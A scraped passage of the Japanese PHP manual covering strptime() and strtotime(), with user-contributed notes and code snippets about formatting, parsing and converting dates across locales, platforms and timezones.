This is so simple it has to be found in one of all the comments on all those different time functions. But since I didn't find it, here it is: Use this to convert between different time formats:

<?PHP
if (!function_exists('convertTime')) {
  /** Converts time strings from one format into another using
   *  PHP formats.
   *
   *  @param String $dformat Format to convert to
   *  @param String $sformat Format to convert from, e.g. format
   *      of $ts
   *  @param String $ts Time string to be converted
   *  @return String Supplied time translated to the format specified
   *    in $dformat
   */
  function convertTime($dformat,$sformat,$ts) {
    extract(strptime($ts,$sformat));
    return strftime($dformat,mktime(
                                  intval($tm_hour),
                                  intval($tm_min),
                                  intval($tm_sec),
                                  intval($tm_mon)+1,
                                  intval($tm_mday),
                                  intval($tm_year)+1900
                                ));
  }
}

/*
 * And for the test....
 */
echo convertTime('%Y-%m-%d','%d.%m.%Y','27.11.2009');
?>

This should print "2009-27-11".

I did not put much effort in this code. The task also seems "too simple to be neccessary". But as I said, I didn't find anything to help me with this.

Cheers,

Michael Z
dapikk[at]gmail[dot]com 16-Mar-2009 02:21
I had a need to subtrackt an older time from current time to get the time between.
Example: If one has worked from 2009-03-16 11:33:54 to 2009-03-16 12:01:54 then he has worked X hours,minutes and seconds. I tried to find that X. And so - one solution would be:
<?php
$start_date = strtotime("2009-03-16 11:33:54"); //start date from database - date("Y-m-d H:i:s") made as UNIX timestamp
$end_date = strtotime("2009-03-16 12:01:54"); //end date from database - date("Y-m-d H:i:s") made as UNIX timestamp
$ajavahe = $end_date - $start_date;
$time_between = gmstrftime('%Hh %Mm %Ss', $ajavahe); //gmstrftime() deals with different timezones correctly. (If in example you would be situated in Estonia and you would use strftime() you get wrong answer off by 2 hrs, because timezone is GMT+2 - with gmstrftime() comes right answer.)

echo 'You have worked: '.$time_between;
?>
Hope that this one makes someones life easier :D
khaled dot ataia at gmail dot com 05-Nov-2008 06:24
for Arabic

<?php
setlocale(LC_ALL,'ar');
echo strftime('%A %d %B %Y');
?>
eljaunis at gmail dot com 22-Oct-2008 03:33
This is what worked in my case:

<?php
    setlocale(LC_ALL, 'es_ES').': ';
    echo iconv('ISO-8859-1', 'UTF-8', strftime('%A %d de %B de %Y', time()));
    ?>

it displays: miercoles 22 de octubre de 2008
buana95 at yahoo dot com 21-Aug-2008 08:51
For windows user:

If you unsuccessfully change date/time format to your locale country using xx_XX format, try using XXX format or ISO-639 country codes format.

See complete list for ISO-639 here: http://www.w3.org/WAI/ER/IG/ert/iso639.htm

For example:

<?php
setlocale(LC_ALL, 'IND');
echo strftime("Today in Indonesia is %A");
?>
Josue R. 08-Mar-2008 07:36
Here's a simple version for date formating i use between displaying in HTML and converting back to MYSQL format:

<?php
function format_date($original='', $format="%m/%d/%Y") {
    $format = ($format=='date' ? "%m-%d-%Y" : $format);
    $format = ($format=='datetime' ? "%m-%d-%Y %H:%M:%S" : $format);
    $format = ($format=='mysql-date' ? "%Y-%m-%d" : $format);
    $format = ($format=='mysql-datetime' ? "%Y-%m-%d %H:%M:%S" : $format);
    return (!empty($original) ? strftime($format, strtotime($original)) : "" );
}
?>

example (in HTML or webapp):
[grab from database]...
$dbase_stored_date = "2007-03-15";
$display_html_date = format_date($dbase_stored_date);
... displays as "03/15/2007"

example (saving form via on POST/GET):
$update_date = format_date($_POST['display_html_date'], 'mysql-date');
// converts back to '2007-03-15'
.... [your mysql update here]

Don't forget to sanitize your POST/GET's   =)
jerome dot place at free dot fr 07-Nov-2007 12:55
Here is a function to convert dates before 1970, very useful if you are still using php 4 (it is supported in php5) :

<?php
# convert a date to special format
# $date is like 2000-01-01 00:00:00
# $format : refer to strftime function
function convert_date($date,$format) {
    if($date=='0000-00-00 00:00:00' OR $date=='0000-00-00' OR $date=='' OR $date==NULL) {
        return '';
    }
    else {
        $year=substr($date,0,4);
        if(phpversion() < 5.0 AND $year < 1970) {

            $new_date=substr_replace($date,'1980',0,4); # we replace the year by a year after 1970
            $new_format=eregi_replace('%a|%A|%u','',$format); # we remove days information from the format because they would be wrong
            $new_date=strftime($new_format,strtotime($new_date)); # we convert the date
            $new_date=eregi_replace('1980',$year,$new_date); # we put back the real year
            return $new_date;
        }
        else {
            return strftime($format,strtotime($date));
        }
    }
}
?>
nielsvan den berge at hotmail dot com 31-Aug-2007 06:43
A small function to get the first weekday of the month.
For example the first monday of the month, or the first friday, etc.

<?php
  /**
   *
   *  Gets the first weekday of that month and year
   *
   *  @param  int   The day of the week (0 = sunday, 1 = monday ... , 6 = saturday)
   *  @param  int   The month (if false use the current month)
   *  @param  int   The year (if false use the current year)
   *
   *  @return int   The timestamp of the first day of that month
   *
   **/
  function get_first_day($day_number=1, $month=false, $year=false)
  {
    $month  = ($month === false) ? strftime("%m"): $month;
    $year   = ($year === false) ? strftime("%Y"): $year;

    $first_day = 1 + ((7+$day_number - strftime("%w", mktime(0,0,0,$month, 1, $year)))%7);

    return mktime(0,0,0,$month, $first_day, $year);
  }

// this will output the first wednesday of january 2007 (wed 03-01-2007)
echo strftime("%a %d-%m-%Y", get_first_day(3, 1, 2007));
?>
ma 28-Aug-2007 05:58
note, that for some languages you MUST set LC_ALL instead of LC_TIME.

note that you further have to explicitly define your output-encoding (default is ISO-8859-1 [which makes problems for some languages])!

at least i expirienced this behaviour on a german WinXP-PHP4 environment:

<?php

// does not work - gives question marks:
setlocale(LC_TIME, 'RUS'); // ISO Alpha-3 is supported by xp
echo strftime('%A', time());

?>

<?php

// DOES work:
header('Content-Type: text/html; CHARSET=shift-jis'); // you could also use another charset here if iconv isn't installed on your system.

echo setlocale(LC_ALL, 'RUS').': ';
echo iconv('windows-1251', 'UTF-8', strftime('%A', time()))."\n";

?>
th1nk3r at gmail dot DELETETHIS dot com 20-Jan-2007 09:35
Function strftime() use the locales installed in your system (linux).

If you are like me and only leave in the system the locales you use normally (en_US and your own language locale, like es_ES), you'll only be able to use the locales installed. If your application is translated to other languages, you need these locales too.

The name of the locale in your system is important too. This can be a problem when you want to distribute the app.

If you have this locales in your system:
en_US/ISO-8859-1
en_US.UTF-8/UTF-8
es_ES/ISO-8859-1
es_ES@euro/ISO-8859-15
es_ES.UTF-8/UTF-8
es_ES@euro/UTF-8

and use setlocale('es_ES'), the result will use the iso-8859-1 charset even if you have all your system, files and configuration options in UTF-8. To receive content in UTF-8, in this example, you need to use setlocale('es_ES.UTF-8') or setlocale('es_ES.UTF-8@UTF-8').

The definition of locales can change from one system to another, and so the charset from the results.
denis at spiralsolutions dot com 02-Nov-2006 12:07
(in addition to Andy's post)
To get a RFC 2822 date (used in RSS) of the current local time :

echo strftime ("%a, %d %b %Y %H:%M:%S %z") ;

Note: option %z / %Z - work different on Windows platform, for example
output of this code line can be:
Thu, 02 Nov 2006 09:54:59 Jerusalem Standard Time (on Windows)
Thu, 02 Nov 2006 09:54:59 +0200                   (on Linux)

[red. It is much smarter to use date(DATE_RSS); here]
Jon Keating 17-Jan-2006 05:49
Under windows if you are using Japanese version, you must use the following code:

setlocale(LC_ALL, "Japanese_Japan.20932") for EUC
setlocale(LC_ALL, "Japanese_Japan.932") for SJIS

I found the following page that helped me with this issue:
http://moodle.org/mod/forum/discuss.php?d=8329
jw at jwscripts dot com 29-May-2005 06:32
The following function implements the conversion specifiers which are not supported on Win32 platforms:

(Note: the specifiers %V, %G and %g can be implemented using other functions described in this section)

<?php

function strftime_win32($format, $ts = null) {
    if (!$ts) $ts = time();

    $mapping = array(
        '%C' => sprintf("%02d", date("Y", $ts) / 100),
        '%D' => '%m/%d/%y',
        '%e' => sprintf("%' 2d", date("j", $ts)),
        '%h' => '%b',
        '%n' => "\n",
        '%r' => date("h:i:s", $ts) . " %p",
        '%R' => date("H:i", $ts),
        '%t' => "\t",
        '%T' => '%H:%M:%S',
        '%u' => ($w = date("w", $ts)) ? $w : 7
    );
    $format = str_replace(
        array_keys($mapping),
        array_values($mapping),
        $format
    );

    return strftime($format, $ts);
}

?>
neo at gothic-chat d0t de 24-Jun-2004 11:27
To get a RFC 850 date (used in HTTP) of the current time:

gmstrftime ("%A %d-%b-%y %T %Z", time ());

This will get for example:
Friday 25-Jun-04 03:30:23 GMT

Please note that times in HTTP-headers _must_ be GMT, so use gmstrftime() instead of strftime().


strftime が生成した日付/時刻をパースする

  • ≪ strftime
  • strtotime ≫
  • PHP Manual
  • 日付・時刻 関数
  • strftime が生成した日付/時刻をパースする

strptime

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

strptime — strftime() が生成した日付/時刻をパースする

説明

strptime ( string $timestamp , string $format ) : array|false

strptime() は timestamp をパースした結果を配列で返します。エラー時には false を返します。

月名や曜日、そしてその他の言語依存な文字列は setlocale() (LC_TIME) で設定された現在の ロケールを考慮して返します。

パラメータ

timestamp (string)

パースする文字列（例: strftime() の返り値）。

format (string)

timestamp で使用されているフォーマット （例: strftime() で使用されていたものと同じ）。 strftime() で使えるオプションの中には、 strptime() では何の影響を及ぼさないものがあることに注意しましょう。 実際にサポートする範囲がどのようになるのかは、 使っている OS と C ライブラリに依存します。

フォーマットオプションについての詳細は strftime() のページを参照ください。

返り値

成功した場合は配列、失敗した場合に false を返します。

配列で返されるパラメータ
パラメータ | 説明
"tm_sec" | 分未満の秒数 (0-61)
"tm_min" | 時間未満の分数 (0-59)
"tm_hour" | 0 時以降の時間数 (0-23)
"tm_mday" | 月内の日数 (1-31)
"tm_mon" | 1 月から数えた月数 (0-11)
"tm_year" | 1900 年以降の年
"tm_wday" | 日曜日からの日数 (0-6)
"tm_yday" | 1 月 1 日からの日数 (0-365)
"unparsed" | timestamp の中で、指定された format で判断できなかった部分

例

例1 strptime() の例

<?php
$format = '%d/%m/%Y %H:%M:%S';
$strf = strftime($format);

echo "$strf\n";

print_r(strptime($strf, $format));
?>

上の例の出力は、 たとえば以下のようになります。

03/10/2004 15:54:19

Array
(
    [tm_sec] => 19
    [tm_min] => 54
    [tm_hour] => 15
    [tm_mday] => 3
    [tm_mon] => 9
    [tm_year] => 104
    [tm_wday] => 0
    [tm_yday] => 276
    [unparsed] =>
)

注意

注意: この関数は Windows 環境にはまだ実装されていません。

注意:

内部では、この関数はシステムの C ライブラリ関数 strptime() をコールしています。 このライブラリ関数は、OS によって挙動が異なることがあります。 date_parse_from_format() はこの問題の影響を受けないので、PHP 5.3.0 以降ではこちらの関数を使うことを推奨します。

注意:

"tm_sec" には、うるう秒も組み込まれています (現在は、年間 2 秒まで)。うるう秒についての詳細な情報は » Wikipedia の記事 を参照ください。

注意:

PHP 5.2.0 より前のバージョンでは、この関数が未定義の挙動をすることがありました。 特に "tm_sec"、"tm_min" および "tm_hour" が未定義の値になることがありました。

参考

  • checkdate() - グレゴリオ暦の日付/時刻の妥当性を確認します
  • strftime() - ロケールの設定に基づいてローカルな日付・時間をフォーマットする
  • date_parse_from_format() - 指定した書式でフォーマットされた日付についての情報を取得する
  • DateTime::createFromFormat() - 指定した書式で時刻文字列をパースする

User Contributed Notes

peter at removethisplease dot ddcrew dot com 07-Oct-2014 01:48
emanuil's comment / mktime() example is wrong, in that his mktime() line should have $ts['tm_mon'] + 1 because strptime() returns the months zero-based, while mktime() expects it one-based.
arnold at nijboer dot it 26-Jan-2014 02:28
the example (or the function) has an inconsistancy with other PHP functions.

the example returns 104 for the year 2004

while in the strftime function the 2 digit year is 70-100 for 1970-2000
and 1-69 for 2001-2069
emanuil dot tolev at gmail dot com 21-Jun-2012 04:08
Be careful: the output of strptime() ( http://www.php.net/manual/en/function.strptime.php ) cannot always be used with mktime() ( http://www.php.net/manual/en/function.mktime.php )!

This is not because of what platform you're using or what format strings glibc supports. This is simply because strptime returns years SINCE 1900 (as documented above) and mktime expects a year in the format returned by date('Y') - which is the full 4 digits.

Therefore, if you parse a date with strptime and want to give it to mktime, you have to pass in ($parsed_time['tm_year'] + 1900) as the year parameter to mktime(), not just $parsed_time['tm_year'].

This issue arose when I had a date like: 19/06/2012 12:03:34. strtotime() doesn't parse this particular format, so I needed custom parsing. So I ended up with:
1. $ts = $service->getNeededDateTime();
2. $ts = strptime($ts, '%d/%m/%Y %H:%M:%S');
3. $ts = mktime($ts['tm_hour'], $ts['tm_min'], $ts['tm_sec'],
      $ts['tm_mon'], $ts['tm_mday'], ($ts['tm_year'] + 1900));
131 21-Apr-2011 12:17
Another portage for windows (from ex/yks toolkit)
<?php
//  public static
function strptime($date, $format) {
    $masks = array(
      '%d' => '(?P<d>[0-9]{2})',
      '%m' => '(?P<m>[0-9]{2})',
      '%Y' => '(?P<Y>[0-9]{4})',
      '%H' => '(?P<H>[0-9]{2})',
      '%M' => '(?P<M>[0-9]{2})',
      '%S' => '(?P<S>[0-9]{2})',
     // usw..
    );

    $rexep = "#".strtr(preg_quote($format), $masks)."#";
    if(!preg_match($rexep, $date, $out))
      return false;

    $ret = array(
      "tm_sec"  => (int) $out['S'],
      "tm_min"  => (int) $out['M'],
      "tm_hour" => (int) $out['H'],
      "tm_mday" => (int) $out['d'],
      "tm_mon"  => $out['m']?$out['m']-1:0,
      "tm_year" => $out['Y'] > 1900 ? $out['Y'] - 1900 : 0,
    );
    return $ret;
  }
?>
Quietust 27-Feb-2009 08:38
On some systems, particularly those of BSD lineage (such as FreeBSD and MacOS X), the tm_wday and tm_yday fields are only initialized if requested explicitly (that is, if the %a/%A/%u/%w and %j formats are specified), while others such as Linux and Solaris will calculate them automatically.
Altar 2010 24-Oct-2008 01:45
If you want to parse a date or a /time in windows env, i re-write strptime function for windows.

I use the same param and i return the same think that the original one.
I use sscanf to parde the string.
Only some format can be parsed (%S, %M, %H, %d, %m, %Y)

See this page (because the function is too big for this notes)
http://sauron.lionel.free.fr/?page=php_lib_strptime

preview :
<?php
/**
 * Parse a time/date generated with strftime().
 *
 * This function is the same as the original one defined by PHP (Linux/Unix only),
 *  but now you can use it on Windows too.
 *  Limitation : Only this format can be parsed %S, %M, %H, %d, %m, %Y
 *
 * @author Lionel SAURON
 * @version 1.0
 * @public
 *
 * @param $sDate(string)    The string to parse (e.g. returned from strftime()).
 * @param $sFormat(string)  The format used in date  (e.g. the same as used in strftime()).
 * @return (array)          Returns an array with the <code>$sDate</code> parsed, or <code>false</code> on error.
 */
if(function_exists("strptime") == false)
{
    function strptime($sDate, $sFormat)
    {
        $aResult = array
        (
            'tm_sec'   => 0,
            'tm_min'   => 0,
            'tm_hour'  => 0,
            'tm_mday'  => 1,
            'tm_mon'   => 0,
            'tm_year'  => 0,
            'tm_wday'  => 0,
            'tm_yday'  => 0,
            'unparsed' => $sDate,
        );

        while($sFormat != "")
        {
            // ===== Search a %x element, Check the static string before the %x =====
            $nIdxFound = strpos($sFormat, '%');
            if($nIdxFound === false)
            {

                // There is no more format. Check the last static string.
                $aResult['unparsed'] = ($sFormat == $sDate) ? "" : $sDate;
                break;
            }

        .....
        .....
        .....
        .....

        // ===== Create the other value of the result array =====
        $nParsedDateTimestamp = mktime($aResult['tm_hour'], $aResult['tm_min'], $aResult['tm_sec'],
                                $aResult['tm_mon'] + 1, $aResult['tm_mday'], $aResult['tm_year'] + 1900);

        // Before PHP 5.1 return -1 when error
        if(($nParsedDateTimestamp === false)
        ||($nParsedDateTimestamp === -1)) return false;

        $aResult['tm_wday'] = (int) strftime("%w", $nParsedDateTimestamp); // Days since Sunday (0-6)
        $aResult['tm_yday'] = (strftime("%j", $nParsedDateTimestamp) - 1); // Days since January 1 (0-365)

        return $aResult;
    } // END of function

} // END if(function_exists("strptime") == false)
?>
firefox3107 at gmail dot com 23-Mar-2008 06:44
For Windows user! It's rather the same as strptime!
It uses the previous function: but call strToTime($date, $format) to strToDate($date, $format) because this name is forgiven!

<?php
function strToDateTime($date, $format) {
    if(!($date = strToDate($date, $format))) return;
    $dateTime = array('sec' => 0, 'min' => 0, 'hour' => 0, 'day' => 0, 'mon' => 0, 'year' => 0, 'timestamp' => 0);
    foreach($date as $key => $val) {
        switch($key) {
            case 'd':
            case 'j': $dateTime['day'] = intval($val); break;
            case 'D': $dateTime['day'] = intval(date('j', $val)); break;

            case 'm':
            case 'n': $dateTime['mon'] = intval($val); break;
            case 'M': $dateTime['mon'] = intval(date('n', $val)); break;

            case 'Y': $dateTime['year'] = intval($val); break;
            case 'y': $dateTime['year'] = intval($val)+2000; break;

            case 'G':
            case 'g':
            case 'H':
            case 'h': $dateTime['hour'] = intval($val); break;

            case 'i': $dateTime['min'] = intval($val); break;

            case 's': $dateTime['sec'] = intval($val); break;
        }
    }
    $dateTime['timestamp'] = mktime($dateTime['hour'], $dateTime['min'], $dateTime['sec'], $dateTime['mon'], $dateTime['day'], $dateTime['year']);
    return $dateTime;
}
?>
P. 30-Jan-2008 04:19
If strptime() fails to match all of the format string and therefore an error occurred the function returns NULL.
chad 0x40 herballure 0x2e com 15-Jun-2007 07:00
The result of strptime() is not affected by the current timezone setting, even though strftime() is. Tested in PHP 5.1.6.
svenr at selfhtml dot org 23-Nov-2006 01:44
If you need strptime but are restricted to a php version which does not support it (windows or before PHP 5), note that MySQL since Version 4.1.1 offers (almost?) the same functionality with the STR_TO_DATE function.

See http://dev.mysql.com/doc/refman/4.1/en/date-and-time-functions.html
DT <pwadas at gazeta dot pl> 10-Aug-2006 12:55
<?php
//This turns non-standard but often used "datetime" string
//like '20060810084251' into nice formatted date
//'Thursday, 10 August 2006 08:42:51 CEST'
//note, that strptime returns day of year counting from 0, so
//you need to put 1 as month number to get appropriate
//month for the daycount. for 2006 strptime for unknown
//reason returns 106, so I simply add 1900

$informat = '%Y%m%d%H%M%S';
$outformat =  '%A, %d %B %Y %T %Z';
$ftime = strptime("20060810084251",$informat);
$unxTimestamp = mktime(
                    $ftime['tm_hour'],
                    $ftime['tm_min'],
                    $ftime['tm_sec'],
                    1 ,
                    $ftime['tm_yday'] + 1,
                   $ftime['tm_year'] + 1900
                 );
//setlocale(LC_TIME,'pl_PL');
echo strftime($outformat , $unxTimestamp );
?>
jojyjob at gmail dot com 13-May-2006 12:18
/***Finding the days of a week ***/

<?php

$out = pre();
$outpre=nextweek();
$td=date("Y-m-d");
$result = array_reverse($outpre);
//print_r($result);
array_push($result,$td);
$newarray = array_merge($result,$out);

  foreach($newarray as $date1){
    echo $date1;
    echo "<br>";
 }

//print_r($out);
//print_r($newarray);

function pre()
{
$monP=0;
$tueP=1;
$wedP=2;
$thuP=3;
$friP=4;
$satP=5;
$sunP=6;

$td=date("Y-m-d");
//echo $td;
$tdname=date("l");
  switch($tdname)
  {
   case "Monday":
       $rep=$monP;
       break;
   case "Tuesday":
       $rep=$tueP;
       break;
   case "Wednesday":
       $rep=$wedP;
       break;
   case "Thursday":
       $rep=$thuP;
       break;
   case "Friday":
       $rep=$friP;
       break;
   case "Saturday":
       $rep=$satP;
       break;
   case "Sunday":
       $rep=$sunP;
       break;
   default:
       echo "Sorry";
  }

//echo $tdname."<br>";
//echo $rep;
$datstart =$td;  /* the starting date */
//$rep = 12;  /* number of future dates to display */
$nod = 1;  /* number of days in the future to increment the date */
$nom = 0;  /* number of months in the future to increment the date */
$noy = 0;  /* number of years in the future to increment the date */
$precon=future_date($datstart,$rep,$nod,$nom,$noy);
return $precon;
}
function future_date($datstart,$rep,$nod,$nom,$noy) {
 $pre = array();
  while ($rep >= 1) {
    $datyy=substr($datstart,0,4);
    $datmm=substr($datstart,5,2);
    $datdd=substr($datstart,8,2);
    $fda=$datdd - $nod;
    $fmo=$datmm - $nom;
    $fyr=$datyy -$noy;
    $dat1=date("Y-m-d", mktime(0,0,0,$fmo,$fda,$fyr))."<BR>";
    array_push($pre,$dat1);
    //echo $dat1;
    $datstart=$dat1;
    $rep--;
  }
  return $pre;
}

function nextweek()
{
$monN=6;
$tueN=5;
$wedN=4;
$thuN=3;
$friN=2;
$satN=1;
$sunN=0;

$td=date("Y-m-d");
$tdname=date("l");
  switch($tdname)
  {
   case "Monday":
       $rep=$monN;
       break;
   case "Tuesday":
       $rep=$tueN;
       break;
   case "Wednesday":
       $rep=$wedN;
       break;
   case "Thursday":
       $rep=$thuN;
       break;
   case "Friday":
       $rep=$friN;
       break;
   case "Saturday":
       $rep=$satN;
       break;
   case "Sunday":
       $rep=$sunN;
       break;
   default:
       echo "Sorry";
  }

//echo $tdname."<br>";
//echo $rep;
$datstart =$td;  /* the starting date */
//$rep = 12;  /* number of future dates to display */
$nod = 1;  /* number of days in the future to increment the date */
$nom = 0;  /* number of months in the future to increment the date */
$noy = 0;  /* number of years in the future to increment the date */

$con = future_date1($datstart,$rep,$nod,$nom,$noy);
return $con;
}

function future_date1($datstart,$rep,$nod,$nom,$noy) {
 $pre = array();
  while ($rep >= 1) {
    $datyy=substr($datstart,0,4);
    $datmm=substr($datstart,5,2);
    $datdd=substr($datstart,8,2);
    $fda=$datdd + $nod;
    $fmo=$datmm + $nom;
    $fyr=$datyy + $noy;
    $dat1=date("Y-m-d", mktime(0,0,0,$fmo,$fda,$fyr))."<BR>";
    array_push($pre,$dat1);
    //echo $dat1;
    $datstart=$dat1;
    $rep--;
  }
  return $pre;
}

?>
Malte Starostik 27-Mar-2006 10:45
It says "Parse a time/date generated with strftime()" but that's not entirely correct -- While strptime("2006131", "%Y%W%u") works as expected, strptime("2006131", "%G%V%u") returns false instead of reversing the equivalent - and unambiguous - strftime() usage.  I suspect that's because glibc doesn't support that.  Anyway, this docu page fails to mention that apparently not all format components supported by strftime() can be used with strptime().


英文形式の日付を Unix タイムスタンプに変換する

  • ≪ strptime
  • time ≫
  • PHP Manual
  • 日付・時刻 関数
  • 英文形式の日付を Unix タイムスタンプに変換する

strtotime

(PHP 4, PHP 5, PHP 7, PHP 8)

strtotime — 英文形式の日付を Unix タイムスタンプに変換する

説明

strtotime ( string $datetime , int|null $baseTimestamp = null ) : int|false

この関数は英語の書式での日付を含む文字列が指定されることを期待しており、 baseTimestamp で与えられたその形式から Unix タイムスタンプ (1970 年 1 月 1 日 00:00:00 UTC からの経過秒数) への変換を試みます。 baseTimestamp が指定されていない場合は現在日時に変換します。

警告

この関数が返す Unixタイムスタンプ は、タイムゾーンの情報を含んでいません。 日付/時刻の情報を含めて計算するには、 より多くの機能がある DateTimeImmutable を使うべきです。

この関数の各パラメータでは、パラメータ内でタイムゾーンを指定しない限りはデフォルトのタイムゾーンを使います。 意図的にそうする場合は別として、パラメータごとにタイムゾーンを変えてしまったりしないように気をつけましょう。 デフォルトのタイムゾーンを定義する方法については date_default_timezone_get() を参照ください。

パラメータ

datetime

日付/時刻 文字列。有効な書式については 日付と時刻の書式 で説明しています。

baseTimestamp

返される値を計算するために使用されるタイムスタンプ。

返り値

成功時はタイムスタンプ、そうでなければ false を返します。

エラー / 例外

すべての日付/時刻関数は、 有効なタイムゾーンが設定されていない場合に E_NOTICE を発生させます。また、システム設定のタイムゾーンあるいは環境変数 TZ を使用した場合には E_STRICT あるいは E_WARNING を発生させます。 date_default_timezone_set() も参照ください。

変更履歴

バージョン | 説明
8.0.0 | baseTimestamp は、nullable になりました。

例

例1 A strtotime() の例

<?php
echo strtotime("now"), "\n";
echo strtotime("10 September 2000"), "\n";
echo strtotime("+1 day"), "\n";
echo strtotime("+1 week"), "\n";
echo strtotime("+1 week 2 days 4 hours 2 seconds"), "\n";
echo strtotime("next Thursday"), "\n";
echo strtotime("last Monday"), "\n";
?>

例2 失敗のチェック

<?php
$str = 'Not Good';

// PHP 5.1.0 以前では、false の代わりに -1 と比較する
if (($timestamp = strtotime($str)) === false) {
    echo "The string ($str) is bogus";
} else {
    echo "$str == " . date('l dS \o\f F Y h:i:s A', $timestamp);
}
?>

注意

注意:

年を 2 桁の数値で指定した場合、その値が 00-69 なら 2000-2069 に、 70-99 なら 1970-1999 にそれぞれ変換されます。 32 ビットシステム上での相違点 (2038-01-19 03:14:07 までの日付しか表せない) については以下の注意を参照ください。

注意:

タイムスタンプの有効な範囲は、通常、Fri, 13 Dec 1901 20:45:54 UTC から Tue, 19 Jan 2038 03:14:07 UTC までです (これらは、32 ビット符号付整数の最大及び最小に一致します)。

全てのプラットフォームが負のタイムスタンプをサポートしている わけではありませんので、PHP 5.1.0 より前のバージョンでは、日付の範囲が Unix エポック以前にはならないかも知れません。 これは、例えば Windows やいくつかの Linux ディストリビューション、 いくつかの他のオペレーティングシステムでは 1970 年 1 月 1 日以前の日付では動作しない事を意味しています。

64 ビット版の PHP では、タイムスタンプの有効範囲は事実上無制限です。 というのも、64 ビットでは過去側も未来側も約 2930 億年を表せるからです。

注意:

m/d/y あるいは d-m-y といった書式の曖昧さを解決する際には、区切り文字を利用します。スラッシュ (/) で区切られている場合はアメリカ風の m/d/y とみなし、ダッシュ (-) あるいはドット (.) で区切られている場合はヨーロッパ風の d-m-y であるとみなします。 しかし、年を二桁で表して区切り文字がダッシュ (-) である場合は、 y-m-d であるとみなします。

このような曖昧さを避けるためにも、ISO 8601 形式 (YYYY-MM-DD) を使うか、可能であれば DateTime::createFromFormat() を使うことを推奨します。

注意:

この関数を使って日付の足し算や引き算を行うことはおすすめできません。
PHP 5.3 以降なら DateTime::add() や
DateTime::sub() を、そして PHP 5.2 なら
DateTime::modify() を使いましょう。

参考

  • 日付と時刻の書式
  • DateTime::createFromFormat() - 指定した書式で時刻文字列をパースする
  • checkdate() - グレゴリオ暦の日付/時刻の妥当性を確認します
  • strptime() - strftime が生成した日付/時刻をパースする

User Contributed Notes

Anonymous 22-Feb-2021 05:18
I appreciate all the DateTime responses but I do not get an accurate system date from DateTime only from strtotime in linux
berniev 07-Feb-2021 10:44
In modern 64-bit systems (tested on mac) the old 1970 to 2038 date range limitations are gone.

strtotime("0001-10-30") gives int(-62109540728)
strtotime("6788-10-30") gives int(152067506400)
Black Hat Rocker 17-Dec-2020 04:31
*The case 30/11/-0001*
With the following note, I will report a particular behaviour of function strtotime() I want to call it ≪The case 30/11/-0001≫.  It is very common and known but never reported  here. Passing the input parameter '0000-00-00' to the function it returns a wrong and not supported timestamp value. It can be seen with these statement

<?php echo date('d/m/Y', strtotime('0000-00-00')); // returns 30/11/-0001  ?>

It seems there's no way to avoid that, but it is possibile to do workaround with if/3operator clausole simply as follow

<?php strcmp($date "0000-00-00")? date('d/m/Y', strtotime($date) ) :  date('d/m/Y') ?>

Otherwise a simple way is to avoid to store to the DB the value '0000-00-00' and insert a default data value (i.e. with the mySQL function NOW() which sets the date on today's date)
marlonsouza90 at hotmail dot com 08-May-2020 11:08
strtotime();

exemplo strtotime(date("Y-m-d") . "+1month");

A strtotime tambem funciona quando concatenamos strings,
Aleksandr 25-Jan-2019 11:59
We can get timestamp from RFC 2822:

<?php

$time = strtotime('Mon, 30 Jun 2014 11:30:00 +0400'); // timestamp from RFC 2822
echo date('Y-m-d H:i:s', $time); // 2014-06-30 10:30:00

?>
mirco dot babin at gmail dot com 06-Dec-2018 09:10
One important thing you should remember is that the timestamp value returned by time() is time-zone agnostic and gets the number of seconds since 1 January 1970 at 00:00:00 UTC. This means that at a particular point in time, this function will return the same value in the US, Europe, India, Japan, ...

strtotime() will convert a string WITHOUT a timezone indication as if the string is a time in the default timezone ( date_default_timezone_set() ). So converting a UTC time like '2018-12-06T09:04:55' with strtotime() actually yields a wrong result. In this case use:

<?php
function UTCdatestringToTime($utcdatestring)
{
    $tz = date_default_timezone_get();
    date_default_timezone_set('UTC');

    $result = strtotime($utcdatestring);

    date_default_timezone_set($tz);
    return $result;
}
?>

Test:
<?php
$tz = 'Europe/Amsterdam';
$utctime = '2018-12-06T09:04:55';

if (!date_default_timezone_set($tz)) {
    WriteLine('Setting default timezone to ' . $tz . ' failed');
    die;
}

WriteLine();
WriteLine('Default timezone set to ' . $tz);
WriteLine('UTC time: ' . $utctime);
WriteLine();

WriteLine('[ UTCdatestringToTime ]');
$phptime = UTCdatestringToTime($utctime);
WriteLine('PHP time: ' . $phptime);
WriteTime($phptime, true);
WriteTime($phptime, false);
WriteLine();

WriteLine('-------------------------------------------------------------------------------');
WriteLine('[ strtotime($utctime) - Converts $utctime as if it was in timezone ' . $tz . ' because the string has no timezone specification ]');
$phptime = strtotime($utctime); //Seconds since the unix epoch
WriteLine('PHP time: ' . $phptime);
WriteTime($phptime, true);
WriteTime($phptime, false);

function WriteLine($text = '')
{
    echo $text . "\r\n";
}

function WriteTime($time, bool $asUTC)
{
    $tz = date_default_timezone_get();
    if ($asUTC) date_default_timezone_set('UTC');

    WriteLine('--> (' . date_default_timezone_get() . ') ' . date('Y-m-d H:i:s', $time));

    if ($asUTC) date_default_timezone_set($tz);
}
?>

Test output:
<?php

Default timezone set to Europe/Amsterdam
UTC time: 2018-12-06T09:04:55

[ UTCdatestringToTime ]
PHP time: 1544087095
--> (UTC) 2018-12-06 09:04:55
--> (Europe/Amsterdam) 2018-12-06 10:04:55

-------------------------------------------------------------------------------
[ strtotime($utctime) - Converts $utctime as if it was in timezone Europe/Amsterdam because the string has no timezone specification ]
PHP time: 1544083495
--> (UTC) 2018-12-06 08:04:55
--> (Europe/Amsterdam) 2018-12-06 09:04:55
*/
?>
shannon 13-Jul-2018 06:52
I tried using sams most popular example but got incorrect results.

Incorrect:
<?php
echo date("jS F, Y", strtotime("11.12.10"));
// outputs 10th December, 2011

echo date("jS F, Y", strtotime("11/12/10"));
// outputs 12th November, 2010

echo date("jS F, Y", strtotime("11-12-10"));
// outputs 11th December, 2010
?>

Then I read the notes which said:
if the separator is a slash (/), then the American m/d/y is assumed; whereas if the separator is a dash (-) or a dot (.), then the European d-m-y format is assumed. ***If, however, the year is given in a two digit format and the separator is a dash (-), the date string is parsed as y-m-d.***

Therefore, the above code does not work on 2 digit years - only 4 digit years
vlad dot savitsky at gmail dot com 05-Jun-2018 07:14
Little bit unexpected behaviour for me. Small integers treats like time.
strtotime(0) => false,
strtotime(1) => false,
strtotime(12) => false,
strtotime(123) => false,
strtotime(1234) => 1528194840, //Time '12:34'
strtotime(12345) => false,
strtotime(123456) => 1528194896, // Time '12:34:56'
strtotime(1234567) => false,
